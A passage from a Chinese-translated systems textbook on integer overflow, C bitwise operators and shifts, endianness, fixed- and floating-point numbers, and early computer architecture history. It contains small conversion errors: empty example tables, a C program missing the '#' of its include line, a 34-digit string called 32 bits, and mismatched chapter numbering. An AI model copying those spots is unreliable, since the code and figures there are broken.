作为检测加法和减法无符号溢出的捷径,回顾这些操作的进位(第 208 页)和进位输入(第 209 页)位。*进位*是指计算结果中从最高有效位向外进位的位。当设置时,*进位输入*通过将 1 进位到算术操作的最低有效位,来增加结果的值。*进位输入*只有在减法时才会设置为 1,作为取反过程的一部分。
无符号算术的捷径是:进位输出必须与进位输入匹配,否则该操作会导致溢出。直观地,这个捷径之所以有效,是因为:
+ 对于加法(进位输入 = 0),结果应大于或等于第一个操作数。然而,如果和需要额外的存储位(进位 = 1),则从和中截断该额外的位会导致较小的结果(溢出)。例如,在无符号四位数空间中,0b1100(12)+ 0b1101(13)的和需要*五*个位来存储结果 0b11001(25)。当截断为四个位时,结果变为 0b1001(9),小于操作数(因此,发生溢出)。
+ 对于减法(进位输入 = 1),结果应小于或等于第一个操作数。由于减法是加法和取反的组合,求解加法子问题时应得出较小的结果。加法只能通过截断其和(进位 = 1)来得到较小的值。如果不需要截断(进位 = 0),则减法将得到较大的结果(溢出)。
让我们来分析两个四位减法的例子,一个发生溢出,另一个没有。首先,考虑 0b0111(7)– 0b1001(9)。减法过程将此计算视为:
| **问题设置** | **转换为加法** | **示例** |
| --- | --- | --- |
|  |  |  |
计算*没有*从*d*[3]中进位,因此没有发生截断,且进位输入(1)未与进位输出(0)匹配。结果 0b1110(14)大于任一操作数,因此对于 7 – 9(溢出)来说显然是错误的。
接下来,考虑 0b0111(7)– 0b0101(5)。减法过程将此计算视为:
| **问题设置** | **转换为加法** | **示例** |
| --- | --- | --- |
|  |  |  |
计算会向*d*[4]传递一个进位,导致进位输入(1)与进位输出(1)匹配。截断后的结果 0b0010(2)正确地表示了减法操作的预期结果(没有溢出)。
##### 有符号溢出
溢出的直觉也适用于*有符号*二进制解释:在模数空间中存在一个不连续性。然而,由于有符号解释允许负数,故此不连续性不会出现在 0 附近。回想一下,二的补码(参见第 204 页)从–1 (0b1111 . . . 111) “平滑地过渡”到 0 (0b0000 . . . 0em000)。因此,不连续性出现在数字空间的*另一端*,即最大正值和最小负值相遇的地方。
图 4-10 展示了四位序列的有符号解释在模数空间中的排列。请注意,一半的值是负数,另一半是非负数,且不连续性位于它们之间的最小/最大分隔处。

*图 4-10:四位有符号值在模数空间中的排列。由于有符号解释允许负值,不连续性不再位于零处。*
在进行有符号算术时,始终安全生成一个趋近零的结果。也就是说,任何减少结果绝对值的操作都不会发生溢出,因为溢出的不连续性位于可表示值的幅度最大的位置。
因此,系统通过将操作数的最高有效位与结果的最高有效位进行比较,来检测有符号加法和减法中的溢出。对于减法,首先将算式转换为加法形式(例如,将 5 – 2 改写为 5 + –2)。
如果加法的操作数具有*不同*的高位位值(即一个操作数是负数,另一个是正数),则不可能发生有符号溢出,因为结果的绝对值必定小于(或等于)任一操作数。结果是*向*零靠近的。
如果加法的操作数具有*相同*的高位位值(即,两者都是正数或两者都是负数),则正确的结果也必须具有相同的高位位值。因此,当加上两个符号相同的操作数时,如果结果的符号与操作数的符号不同,则会发生有符号溢出。
考虑以下四位有符号二进制示例:
* 5 – 4 等价于 5 + –4。第一个操作数(5)是正数,而第二个操作数(–4)是负数,因此结果必须趋近于零,*没有溢出*的可能。
+ 4 + 2(都是正数)得出 6(也是正数),所以*没有溢出*发生。
+ –5 – 1 等价于 –5 + –1(都是负数),得出–6(也是负数),所以*没有溢出*发生。
+ 4 + 5(都是正数)得到–7(负数)。由于操作数具有相同的符号,并且与结果的符号不匹配,此操作*溢出*。
+ –3 – 8 等同于–3 + –8(都是负数),结果为 5(正数)。由于操作数具有相同的符号,并且与结果的符号不匹配,此操作*溢出*。
#### 4.5.3 溢出总结
通常,整数溢出发生在算术操作在其结果可以表示的最小和最大值之间移动时。如果对有符号和无符号溢出的规则感到疑惑,考虑*N*位序列的最小值和最大值:
+ 最小的*无符号*值是 0(因为无符号编码不能表示负数),最大的无符号值是 2^(*N*) – 1(因为一个比特序列用于零)。因此,不连续性出现在 2^(*N*) – 1 和 0 之间。
+ 最小的*有符号*值是–2^(*N–*1)(因为一半的序列用于负值),最大值是 2^(*N–*1) – 1(因为另一半一个值用于零)。因此,不连续性出现在 2^(*N–*1) – 1 和–2^(*N–*1)之间。
#### 4.5.4 溢出后果
虽然你可能不经常遇到整数溢出,但溢出有可能以显著(甚至是破坏性的)方式破坏程序。
例如,2014 年,PSY 的流行曲“江南 Style”^(1)音乐视频威胁到 YouTube 用于跟踪视频点击数的 32 位计数器溢出。因此,YouTube 转而使用 64 位计数器。
另一个相对无害的例子出现在 1980 年的街机游戏《Pac-Man》中。游戏开发人员使用了一个无符号的八位值来跟踪玩家通过游戏级别的进度。因此,如果一个高手玩家超过了第 255 级(八位无符号整数的最大值),游戏板的一半会出现显著的故障,如图 4-11 所示。

*图 4-11:当达到第 256 级时,《Pac-Man》游戏板“疯狂”了起来。*
一个更为悲剧性的溢出例子出现在 20 世纪 80 年代中期的治疗机器 Therac-25^(2)的历史中。Therac-25 存在几个设计问题,包括一个递增真值标志变量而不是将其设为常数。经过足够的使用后,标志溢出,导致它错误地回滚到零(假),绕过安全机制。Therac-25 最终严重伤害了(在某些情况下还杀死了)六名患者。
### 4.6 位运算符
除了前面描述的标准算术运算外,CPU 还支持一些在二进制之外较为罕见的运算。这些*按位运算符*直接应用逻辑门的行为(参见 第 243 页的“基本逻辑门”)于位序列,使它们能够高效地在硬件中实现。与加法和减法不同,后者通常用于程序员操作变量的数值解释,程序员通常使用按位运算符来修改变量中的特定位。例如,程序可能会在变量中编码某个位的位置以表示真/假值,而按位运算则允许程序操作变量的单独位,从而改变该特定位。
#### 4.6.1 按位与
按位与运算符(`&`)评估两个输入的位序列。对于输入的每个位,如果*两个*输入在该位置都是 1,则输出 1;否则,输出 0。表 4-7 展示了两个值 *A* 和 *B* 进行按位与运算的真值表。
**表 4-7:** 两个值(A 和 B)按位与运算的结果
| **A** | **B** | **A & B** |
| --- | --- | --- |
| 0 | 0 | 0 |
| 0 | 1 | 0 |
| 1 | 0 | 0 |
| 1 | 1 | 1 |
例如,要对 0b011010 和 0b110110 进行按位与(AND)操作,首先将这两个序列对齐。然后逐位检查每个数字,如果*两个*数字都是 1,则将该列的结果设置为 1;否则,将该列的结果设置为 0:
011010
AND 110110 Only digits 1 and 4 are 1's in BOTH inputs, so
Result: 010010 those are the only digits set to 1 in the output.
在 C 语言中执行按位与运算时,在两个操作数变量之间放置 C 的按位与运算符(`&`)。下面是再次在 C 语言中执行的示例:
int x = 26;
int y = 54;
printf("Result: %d\n", x & y); // Prints 18
**警告 位运算与逻辑真值运算的区别**
注意不要将按位运算符与逻辑真值运算符混淆(参见 第 32 页的“C 语言中的布尔值”)。尽管它们有类似的名称(AND、OR、NOT 等),但这两者*并不相同*:
+ 按位运算符独立地考虑其输入的每一位,并根据特定位是否被设置来生成输出的位序列。
+ 逻辑运算符仅考虑操作数的*真值*解释。在 C 语言中,零值被视为*假*,而所有其他值都被认为是*真*。逻辑运算符通常在评估条件表达式(如 `if` 语句)时使用。
请注意,C 语言常常使用类似(但稍有不同)的运算符来区分这两者。例如,你可以使用单个 `&` 和 `|` 来表示按位与和按位或,分别对应逻辑与(AND)和逻辑或(OR)运算。逻辑与和逻辑或则使用双重 `&&` 和 `||` 表示。最后,按位非运算符是 `~`,而逻辑非则由 `!` 表示。
#### 4.6.2 位运算 OR
按位或运算符(`|`)的行为与按位与运算符类似,不同之处在于,如果*任意一个或两个*输入在相应位置是 1,则输出 1;否则,输出 0。表 4-8 展示了两个值 *A* 和 *B* 进行按位或运算的真值表。
**表 4-8:** 按位或运算两个值的结果(A 或 B)
| **A** | **B** | **A|B** |
| --- | --- | --- |
| 0 | 0 | 0 |
| 0 | 1 | 1 |
| 1 | 0 | 1 |
| 1 | 1 | 1 |
例如,要对 0b011010 和 0b110110 进行按位或运算,首先将两个序列对齐。逐列检查每一位,如果*任意一个*数字为 1,则该列的结果为 1:
011010
OR 110110 Only digit 0 contains a 0 in both inputs, so it's
Result: 111110 the only digit not set to 1 in the result.
在 C 中执行按位或运算时,将 C 的按位或操作符(`|`)放在两个操作数之间。以下是相同的示例,在 C 中执行:
int x = 26;
int y = 54;
printf("Result: %d\n", x | y); // Prints 62
#### 4.6.3 按位异或(排他或)
按位异或操作符(`^`)的行为类似于按位或操作符,只不过它仅在输入的两个数字中*恰好有一个*(而不是两个)在相应位置为 1 时,输出 1。否则,它将输出 0。表 4-9 显示了两个值 *A* 和 *B* 的按位异或的真值表。
**表 4-9:** 按位异或两个值的结果(A 异或 B)
| **A** | **B** | **A ^ B** |
| --- | --- | --- |
| 0 | 0 | 0 |
| 0 | 1 | 1 |
| 1 | 0 | 1 |
| 1 | 1 | 0 |
例如,要对 0b011010 和 0b110110 进行按位异或操作,首先将两个序列对齐。逐列检查每一位,如果*只有一个*数字为 1,则该列的结果为 1:
011010
XOR 110110 Digits 2, 3, and 6 contain a 1 in exactly one of
Result: 101100 the two inputs.
在 C 中执行按位异或时,将 C 的按位异或操作符(`^`)放在两个操作数之间。以下是相同的示例,在 C 中执行:
int x = 26;
int y = 54;
printf("Result: %d\n", x ^ y); // Prints 44
#### 4.6.4 按位取反
按位取反操作符(`~`)仅作用于一个操作数。对于序列中的每一位,它简单地翻转该位,使零变为一,或反之。 表 4-10 显示了按位取反操作符的真值表。
**表 4-10:** 按位取反一个值的结果(A)
| **A** | **~A** |
| --- | --- |
| 0 | 1 |
| 1 | 0 |
例如,要对 0b011010 进行按位取反,翻转每一位的值:
NOT 011010
Result: 100101
在 C 中执行按位取反时,将波浪号字符(`~`)放在操作数前面。以下是相同的示例,在 C 中执行:
int x = 26;
printf("Result: %d\n", ~x); // Prints -27
**警告 按位取反与否定的区别**
请注意,所有现代系统使用二进制补码表示整数,因此按位取反与否定并不完全相同。按位取反*仅*翻转位,不*加*一。
#### 4.6.5 位移
另一个重要的按位操作涉及将操作数的位移到左边(`<<`)或右边(`>>`)。左移和右移操作符都需要两个操作数:要移位的位序列和它应该移位的位数。
##### 向左移位
将一个序列向左移动 *N* 位,将其每一位向左移动 *N* 次,在序列的右侧附加新的零。例如,将 8 位序列 0b00101101 向左移动两位,结果是 0b10110100。右侧的两个零附加到序列的末尾,因为结果仍然需要是一个 8 位的序列。
在没有溢出的情况下,左移会*增加*结果值,因为位会移向那些贡献更大二次幂的数字位置。然而,对于固定数量的位,任何移到超出数字最大容量位置的位都会被截断。例如,将 8 位序列 0b11110101(无符号解读为 245)左移一位,结果为 0b11101010(无符号解读为 234)。这里,移出高位的位被截断,使得结果变小。
要在 C 语言中执行左位移,请将两个小于符号(`<<`)放在值与要移位的位数之间:
int x = 13; // 13 is 0b00001101
printf("Result: %d\n", x << 3); // Prints 104 (0b01101000)
##### 右移
右移类似于左移——任何超出变量容量(例如,右边移出的位)的位都会由于截断而消失。然而,右移引入了额外的考虑因素:新添加到结果左侧的位可能需要是零或一,这取决于移位变量的*类型*及其高位值。从概念上讲,选择填充零或一类似于符号扩展(请参阅第 206 页的“符号扩展”)。因此,右移有两种不同的变体:
+ *逻辑右移*始终将零填充到结果的高位。逻辑移位用于移位*无符号*变量,因为无符号值的最高有效位如果为 1 并不表示该值是负数。例如,使用逻辑右移将 0b10110011 右移两位,结果为 0b00101100。
+ *算术右移*将移位值的最高有效位复制到新位位置的每一位上。算术移位适用于*有符号*变量,对于这些变量,保留高位的符号性非常重要。例如,使用算术右移将 0b10110011 右移两位,结果为 0b11101100。
幸运的是,在 C 语言编程中,如果正确声明了变量,通常不需要担心这种区分。如果程序中包含右移操作符(`>>`),几乎所有 C 编译器都会根据移位变量的类型自动执行适当的移位操作。也就是说,如果移位变量声明为*无符号*类型,编译器将执行逻辑移位。否则,它将执行算术移位。
**注意:C 语言右移示例程序**
你可以通过一个小示例程序测试右移的行为,例如下面这个:
#include <stdio.h>
int main(int argc, char **argv) {
/* 无符号整数值:u_val */
unsigned int u_val = 0xFF000000;
/* 有符号整数值:s_val */
int s_val = 0xFF000000;
printf("%08X\n", u_val >> 12); // 逻辑右移
printf("%08X\n", s_val >> 12); // 算术右移
return 0;
}
该程序声明了两个 32 位整数:一个作为无符号整数(`u_val`),另一个作为有符号整数(`s_val`)。它将这两个整数初始化为相同的起始值:一个由 8 个 1 和 24 个 0 组成的序列(`0b1111111100000000000000000000000000`),然后将这两个值右移 12 位。执行时,它会打印:
$ ./a.out
000FF000
FFFFF000
由于无符号的`u_val`中的前导 1 并不表示“负数”,所以编译器使用指令仅用 0 填充它的前面。移位结果包含 12 个 0,8 个 1,和 12 个 0(`0b00000000000011111111000000000000`)。另一方面,`s_val`的前导 1 确实表示“负数”,所以编译器会在移位后的值前面填充 1,得到 20 个 1 和 12 个 0(`0b11111111111111111111000000000000`)。
### 4.7 整数字节顺序
到目前为止,本章已经描述了几种用位编码数字的方案,但还没有提到这些值是如何在内存中组织的。对于现代系统,内存的最小可寻址单元是字节(byte),它由八个位(bit)组成。因此,要在地址*X*开始存储一个字节值(例如,一个`char`类型的变量),你实际上没有什么选择——只需将字节存储在地址*X*处。
然而,对于多字节值(例如`short`或`int`类型的变量),硬件在将值的字节分配到内存地址时有更多的选择。例如,考虑一个两字节的`short`类型变量`s`,它的字节标记为 A(包含`s`的高位)和 B(包含`s`的低位)。当系统被要求将像`s`这样的`short`存储在地址*X*(即在地址*X*和*X* + 1 中)时,它必须定义该变量的哪个字节(A 或 B)应该占据哪个地址(*X*或*X* + 1)。图 4-12 展示了将`s`存储在内存中的两种选择。

*图 4-12:从内存地址*X*开始的两种可能的两字节短整型内存布局*
系统的*字节顺序*(或*字节序*)定义了硬件如何将一个多字节变量的字节分配到连续的内存地址。尽管对于只在单个系统上运行的程序来说,字节顺序很少会成为问题,但如果你的某个程序试图逐字节打印,或者你使用调试器检查变量时,可能会感到惊讶。
例如,考虑以下程序:
include <stdio.h>
int main(int argc, char **argv) {
// Initialize a four-byte integer with easily distinguishable byte values
int value = 0xAABBCCDD;
// Initialize a character pointer to the address of the integer.
char *p = (char *) &value;
// For each byte in the integer, print its memory address and value.
int i;
for (i = 0; i < sizeof(value); i++) {
printf("Address: %p, Value: %02hhX\n", p, *p);
p += 1;
}
return 0;
}
该程序分配了一个四字节整数,并按照从高位到低位的顺序初始化字节,赋值为十六进制值`0xAA`、`0xBB`、`0xCC`和`0xDD`。然后,它从整数的基地址开始,一次打印每个字节。你可能会认为字节会按字母顺序打印。然而,常用的 CPU 架构(例如 x86 和大多数 ARM 硬件)在执行示例程序时,会反向打印这些字节:
$ ./a.out
Address: 0x7ffc0a234928, Value: DD
Address: 0x7ffc0a234929, Value: CC
Address: 0x7ffc0a23492a, Value: BB
Address: 0x7ffc0a23492b, Value: AA
x86 处理器以*小端*格式存储整数——从最低有效字节(“小端”)到最高有效字节,按连续地址存储。其他*大端*CPU 架构则按相反顺序存储多字节整数。图 4-13 展示了一个四字节整数在(a)大端和(b)小端布局中的内存布局。

*图 4-13:四字节整数在(a)大端和(b)小端格式中的内存布局*
看似奇怪的“字节序”术语来源于乔纳森·斯威夫特的讽刺小说*《格列佛游记》*(1726 年)。^(3) 在故事中,格列佛发现自己身处两个六英寸高的小人帝国,他们为了争夺正确的破蛋方法而发生战争。布勒弗斯库的“大端”帝国从蛋的大端开始敲破,而利立浦特的“小端”帝国则从蛋的小端开始敲破。
在计算机领域,系统是*大端*还是*小端*通常只影响跨机器通信的程序(例如,通过网络)。在系统之间传输数据时,两个系统必须就字节顺序达成一致,接收方才能正确解读数值。1980 年,丹尼·科恩向互联网工程任务组(IETF)提交了一篇名为*《圣战与和平呼吁》*的备忘录。^(4) 在该备忘录中,科恩采用了斯威夫特的“字节序”术语,并建议 IETF 为网络传输采用标准的字节顺序。IETF 最终采纳了*大端*作为“网络字节顺序”标准。
C 语言提供了两个库,允许程序重新排列整数的字节顺序^(5),以便进行通信。
### 4.8 二进制中的实数
虽然本章主要关注二进制整数表示,但程序员通常也需要存储实数。存储实数本质上是困难的,且没有任何二进制编码能够完美精确地表示实值。也就是说,对于任何实数的二进制编码,都存在无法*精确*表示的值。像*π*这样的无理数显然无法精确表示,因为它们的表示永远不会终止。在给定的固定位数下,二进制编码仍然无法在其范围内表示某些有理数值。
与可数的整数不同,实数集是不可数的。^(6)^(7) 换句话说,即使是一个狭窄范围内的实数值(例如,从零到一之间),该范围内的值集也如此庞大,以至于我们甚至无法开始列举它们。因此,实数编码通常只存储经过截断的、具有预定比特数的值的近似值。只要比特数足够,近似值通常足够精确,适用于大多数用途,但在编写不能容忍四舍五入的应用程序时,需特别小心。
本节的其余部分简要描述了两种在二进制中表示实数的方法:*定点*,它扩展了二进制整数格式,以及*浮点*,它以一定的复杂度代价表示大范围的值。
#### 4.8.1 定点表示
在*定点表示*中,值的*二进制点*位置是固定的,无法改变。就像十进制数中的*小数点*一样,二进制点表示数字的小数部分的起始位置。定点编码规则类似于无符号整数表示(参见第 193 页的“无符号二进制数字”),唯一的重大区别是:二进制点后的数字表示的是指数为*负*值的二的幂。例如,考虑八位序列 0b000101.10,其中前六个位表示整数部分,剩下的两个比特表示小数部分。图 4-14 标出了数字的位置及其各自的解释。

*图 4-14:带有两个小数位的八位数中每个数字的值*
应用将 0b000101.10 转换为十进制的公式得到:
(0 × 2⁵) + (0 × 2⁴) + (0 × 2³) + (1 × 2²) + (0 × 2¹) + (1 × 2⁰) + (1 × 2^(–1)) + (0 × 2^(–2)) = 0 + 0 + 0 + 4 + 0 + 1 + 0.5 + 0 = 5.5
更一般地说,当二进制点后有两个比特时,数字的小数部分包含以下四种序列之一:00(.00)、01(.25)、10(.50)或 11(.75)。因此,两个小数位允许定点数表示精确到 0.25(2^(–2))的分数值。添加第三个位将精度提高到 0.125(2^(–3)),模式类似地继续下去,具有*N*位的小数部分可以实现 2^(–N)精度。
因为二进制点后的位数是固定的,一些完全精确的操作数计算结果可能会产生需要截断(四舍五入)的结果。考虑前一个示例中的相同八位定点编码。它精确表示了 0.75(0b000000.11)和 2(0b000010.00)。然而,它不能精确表示 0.75 除以 2 的结果:计算*应该*得到 0.375,但存储它会需要在二进制点后多一个比特(0b000000.011)。截断最右边的 1 使得结果可以适应指定的格式,但这将得到一个四舍五入后的结果 0.75 / 2 = 0.25。在这个例子中,由于涉及的位数较少,四舍五入误差非常明显,但即使是更长的位序列也将需要在某个时刻进行截断。
更糟糕的是,四舍五入误差会在中间计算过程中累积,在某些情况下,计算序列的结果可能会根据执行顺序的不同而有所变化。例如,考虑两个在前面描述的相同八位定点编码下的算术序列:
1. `(0.75 / 2) * 3 = 0.75`
2. `(0.75 * 3) / 2 = 1.00`
请注意,这两者之间唯一的区别在于乘法和除法操作的顺序。如果不需要舍入,两个计算应该得到相同的结果(1.125)。然而,由于截断发生在算术运算中的不同位置,它们会产生不同的结果:
1\. 从左到右进行中间计算(`0.75 / 2`),得到舍入结果 0.25,最终通过乘以 3 得到 0.75。
2\. 从左到右进行中间计算(`0.75` `* 3`),得到精确的结果 2.25,且没有任何舍入。将 2.25 除以 2 后,舍入得到最终结果 1。
在这个例子中,仅仅为 2^(–3) 位添加一个额外的比特,就能使例子以全精度成功,但我们选择的定点位置仅允许在二进制点后保留两个比特。与此同时,操作数的高阶比特完全没有被使用(*d*[2] 到 *d*[5] 的数字从未被设为 1)。以额外的复杂度为代价,另一种表示方式(浮点表示)使得所有的比特都能无论整数部分与小数部分如何分割都能为数值做贡献。
#### 4.8.2 浮点表示
在 *浮点表示法* 中,数值的二进制点是 *不* 固定在预定义的位置。也就是说,二进制序列的解释必须编码如何表示数值的整数部分和小数部分之间的分割。虽然二进制点的位置可以用多种方式进行编码,但本节仅关注一种方法,即电气和电子工程师协会(IEEE)754 标准。^(8)几乎所有现代硬件都遵循 IEEE 754 标准来表示浮点数值。

*图 4-15:32 位 IEEE 754 浮点标准*
图 4-15 说明了 IEEE 754 对 32 位浮点数(C 的 `float` 类型)的解释。该标准将比特划分为三个区域:
1\. 低阶的 23 个比特(*d*[22] 到 *d*[0])表示 *尾数*(有时称为 *有效数*)。作为比特的最大区域,尾数作为数值的基础,最终通过乘以其他比特区域来改变。当解释尾数时,它的值隐式地跟随 1 和二进制点。小数部分的行为类似于前面部分描述的定点表示法。
例如,如果尾数的比特为 0b110000…0000,则第一个比特表示 0.5(1 × 2^(–1)),第二个比特表示 0.25(1 × 2^(–2)),其余比特为零,因此它们不影响数值。因此,尾数贡献的是 1.(0.5 + 0.25),即 1.75。
2\. 接下来的八个位(数字 *d*[30] 到 *d*[23])表示 *指数*,它将有效数字的值进行缩放,以提供广泛的可表示范围。有效数字会乘以 2^((指数–127)),其中 127 是一个 *偏置*,使得浮点数既能表示非常大的值,也能表示非常小的值。
3\. 最后一个高阶位(数字 *d*[31])表示 *符号位*,它编码了值是正数(0)还是负数(1)。
举个例子,考虑解码位序列 0b110000011011 01000000000000000000。有效数字部分是 01101000000000000000000,它表示 2^(–2) + 2^(–3) + 2^(–5) = 0*.*40625,因此有效数字部分贡献了 1.40625。指数部分是 10000011,表示十进制值 131,因此指数部分贡献了一个 2^((131–127))(16)的因子。最后,符号位是 1,因此该序列表示一个负值。综合来看,这个位序列表示 1*.*40625 × 16 × –1 = –22*.*5。
尽管明显比前面描述的定点方案更复杂,但 IEEE 浮点标准提供了更多灵活性,可以表示广泛的值范围。尽管具有灵活性,固定数量的位数仍然无法精确表示每一个可能的值。也就是说,与定点一样,舍入问题同样会影响浮点编码。
#### 4.8.3 舍入后果
虽然舍入问题不太可能破坏你编写的大多数程序,但实数舍入错误偶尔会导致一些高调的系统故障。在 1991 年的海湾战争期间,一次舍入错误导致美国“爱国者”导弹电池未能拦截一枚伊拉克导弹。^(9) 这枚导弹导致 28 名士兵死亡,另有许多人受伤。1996 年,欧洲航天局首次发射的阿丽亚娜 5 号火箭在起飞 39 秒后爆炸。^(10) 这枚火箭借用了大量阿丽亚娜 4 号的代码,在尝试将浮点数值转换为整数值时触发了溢出。
### 4.9 小结
本章探讨了现代计算机如何使用位和字节表示信息。一个重要的结论是,计算机的内存将所有信息存储为二进制的 0 和 1——程序或运行它们的人负责解释这些位的含义。本章主要集中于整数表示,首先讨论了无符号(非负)整数,然后才考虑有符号整数。
计算机硬件支持对整数进行多种操作,包括常见的加法、减法、乘法和除法。系统还提供位操作,如按位与、按位或、按位非和移位。在执行 *任何* 操作时,要考虑用于表示操作数和结果的位数。如果分配给结果的存储空间不足,溢出可能会导致结果值的误表示。
最后,本章探讨了表示实数的常见方案,包括标准的 IEEE 754 标准。请注意,在表示浮动小数点值时,我们牺牲了精度,以换取更大的灵活性(即移动小数点的能力)。
### 注释
1. *[`zh.wikipedia.org/wiki/江南 style`](https://zh.wikipedia.org/wiki/江南 style)*
2. *[`zh.wikipedia.org/wiki/Therac-25`](https://zh.wikipedia.org/wiki/Therac-25)*
3. 乔纳森·斯威夫特, *格列佛游记*。 *[`www.gutenberg.org/ebooks/829`](http://www.gutenberg.org/ebooks/829)*
4. 丹尼·科恩, *关于圣战与和平的呼吁*。 *[`www.ietf.org/rfc/ien/ien137.txt`](https://www.ietf.org/rfc/ien/ien137.txt)*
5. *[`linux.die.net/man/3/byteorder`](https://linux.die.net/man/3/byteorder), [`linux.die.net/man/3/endian`](https://linux.die.net/man/3/endian)*
6. *[`zh.wikipedia.org/wiki/可数集`](https://zh.wikipedia.org/wiki/可数集)*
7. *[`zh.wikipedia.org/wiki/不可数集`](https://zh.wikipedia.org/wiki/不可数集)*
8. *[`zh.wikipedia.org/wiki/IEEE_754`](https://zh.wikipedia.org/wiki/IEEE_754)*
9. *[`www-users.math.umn.edu/~arnold/disasters/patriot.html`](http://www-users.math.umn.edu/~arnold/disasters/patriot.html)*
10. *[`medium.com/@bishr_tabbaa/crash-and-burn-a-short-story-of-ariane-5-flight-501-3a3c50e0e284`](https://medium.com/@bishr_tabbaa/crash-and-burn-a-short-story-of-ariane-5-flight-501-3a3c50e0e284)*
# 第六章:冯·诺依曼所知:计算机架构

*计算机架构*这个术语可以指计算机的整个硬件层面。然而,它通常用来指代计算机硬件中数字处理器部分的设计与实现,我们在本章中重点讨论计算机处理器架构。
*中央处理单元*(CPU,或处理器)是计算机中执行程序指令和程序数据的部分。程序指令和数据存储在计算机的随机存取存储器(RAM)中。特定的数字处理器实现了一个特定的*指令集架构*(ISA),它定义了指令集及其二进制编码、CPU 寄存器集,以及执行指令对处理器状态的影响。存在许多不同的 ISA,包括 SPARC、IA32、MIPS、ARM、ARC、PowerPC 和 x86(后者包括 IA32 和 x86-64)。*微架构*定义了特定 ISA 实现的电路结构。同一 ISA 的微架构实现可以不同,只要它们实现了 ISA 定义。例如,英特尔和 AMD 分别生产不同的 IA32 ISA 微处理器实现。
一些 ISA 定义了*精简指令集计算机*(RISC),而其他则定义了*复杂指令集计算机*(CISC)。RISC ISA 具有一小组基本指令,每条指令执行迅速;每条指令大约在一个处理器时钟周期内执行,编译器将几条基本的 RISC 指令组合在一起实现更高级的功能。与此相对,CISC ISA 的指令提供比 RISC 指令更高级的功能。CISC 架构还定义了比 RISC 更多的指令集,支持更复杂的寻址模式(表示程序数据内存位置的方式),并支持可变长度的指令。单条 CISC 指令可能执行一个低级功能序列,并可能需要几个处理器时钟周期来执行。而在 RISC 架构中,这相同的功能可能需要多条指令来实现。
RISC 与 CISC 的历史
在 1980 年代初期,伯克利大学和斯坦福大学的研究人员通过伯克利 RISC 项目和斯坦福 MIPS 项目开发了 RISC 架构。伯克利的 David Paterson 和斯坦福的 John Hennessy 因其在 RISC 架构开发方面的贡献,荣获 2017 年图灵奖^(1)(计算机领域的最高奖项)。
在其开发初期,RISC 架构是对普遍认为指令集体系结构(ISA)需要变得越来越复杂以实现高性能的观点的彻底颠覆。“RISC 方法与当时流行的复杂指令集计算机(CISC)计算机的不同之处在于,它只需要一小组简单且通用的指令(计算机必须执行的功能),需要的晶体管比复杂指令集少,从而减少了计算机必须执行的工作量。”^(2)
CISC ISA 使用的指令比 RISC 少,通常导致程序可执行文件较小。在具有较小主内存的系统中,可执行文件的大小是程序性能的重要因素,因为较大的可执行文件会减少可用于运行程序其他部分内存空间的 RAM 空间。基于 CISC 的微架构通常专门设计以高效执行 CISC 变长和更高功能的指令。为执行更复杂指令而设计的专用电路可能导致某些更高级别功能的执行更加高效,但代价是需要为所有指令执行提供更多的复杂性。
在比较 RISC 与 CISC 时,RISC 程序包含更多的指令需要执行,但每条指令的执行效率远高于大多数 CISC 指令,且 RISC 允许比 CISC 更简单的微架构设计。CISC 程序包含更少的指令,而 CISC 微架构则设计用以高效执行更复杂的指令,但它们需要更复杂的微架构设计和更快的时钟频率。总体而言,RISC 处理器能实现更高效的设计和更好的性能。随着计算机内存容量的增加,程序可执行文件的大小对程序性能的重要性减小。然而,由于 CISC 得到了工业界的广泛支持,它仍然是主导的 ISA。
今天,CISC 依然是桌面计算机和许多服务器级计算机的主流 ISA。例如,Intel 的 x86 ISA 是基于 CISC 的。由于其低功耗需求,RISC ISA 更常见于高端服务器(例如,SPARC)和移动设备(例如,ARM)。某些 RISC 或 CISC ISA 的微架构实现可能在底层结合了 RISC 和 CISC 的设计。例如,大多数 CISC 处理器使用微码将某些 CISC 指令编码为更类似于 RISC 的指令集,由底层处理器执行,而一些现代的 RISC 指令集比最初的 MIPS 和 Berkeley RISC 指令集包含了更多复杂的指令或寻址模式。
所有现代处理器,无论其 ISA 如何,都遵循冯·诺依曼体系结构模型。冯·诺依曼体系结构的通用设计允许其执行任何类型的程序。它使用存储程序模型,意味着程序指令存储在计算机内存中,与程序数据一起成为处理器的输入。
本章介绍冯·诺依曼体系结构及支撑现代计算机体系结构的祖先和组成部分。我们基于冯·诺依曼体系结构模型构建了一个示例数字处理器(CPU),设计了一个由逻辑门构建的数字电路 CPU,并演示了 CPU 如何执行程序指令。
### 5.1 现代计算架构的起源
当追溯现代计算机体系结构的祖先时,很容易认为现代计算机是一条连续转变的线性链的一部分,每台机器仅仅是之前存在的机器的改进。虽然这种对计算机设计遗传改进的看法对某些类别的体系结构可能成立(考虑 iPhone X 从原始 iPhone 的迭代改进),但是体系结构树的根基却不那么明确。
从 18 世纪到 20 世纪初,数学家们作为首批*人类*计算机,进行与科学和工程应用相关的计算。^(3) “计算机”一词最初指的是“计算者”。女性数学家经常扮演计算机的角色。事实上,女性作为人类计算机的使用非常普遍,以至于计算复杂度用“千位女士”来衡量,即千位人类计算机在一个小时内完成的工作量。^(4) 普遍认为女性在进行数学计算方面比男性更擅长,因为她们倾向于更加系统化。女性被禁止担任工程师职位。因此,她们被贬为更为“低级”的工作,如计算复杂的计算。
第一台通用数字计算机——*分析机*,是由英国数学家 Charles Babbage 设计的,他被一些人称为计算机之父。分析机是他原始发明——差分机的扩展,差分机是一种能够计算多项式函数的机械计算器。或许应该被称为计算机之母的 Ada Lovelace,是第一个开发计算机程序的人,也是第一个发表能够使用 Charles Babbage 的分析机进行计算的算法的人。在她的笔记中,她指出了分析机的通用性:“[t]分析机完全没有任何自创的企图。它可以做任何我们知道如何指令它执行的事情。”^(5)然而,与现代计算机不同,分析机是一种机械设备,而且只建造了一部分。大多数后来成为现代计算机直接前身的设计者,在他们自己开发机器时并未意识到 Babbage 和 Lovelace 的工作。
因此,也许更准确的说法是,现代计算机架构是从 20 世纪 30 年代和 40 年代涌现出来的创意和创新的“原始汤”中发展起来的。例如,在 1937 年,MIT 的学生 Claude Shannon 撰写了可能是历史上最具影响力的硕士论文之一。Shannon 借鉴了 George Boole(发明了布尔代数的数学家)的工作,展示了布尔逻辑可以应用于电路,并用于开发电气开关。这将引导二进制计算系统的发展,并为未来的数字电路设计奠定基础。虽然早期许多电子计算机是由男性设计的,但女性(当时不被允许成为工程师)却成为了编程的先驱,主导了许多早期软件创新的设计和开发,例如编程语言、编译器、算法和操作系统。
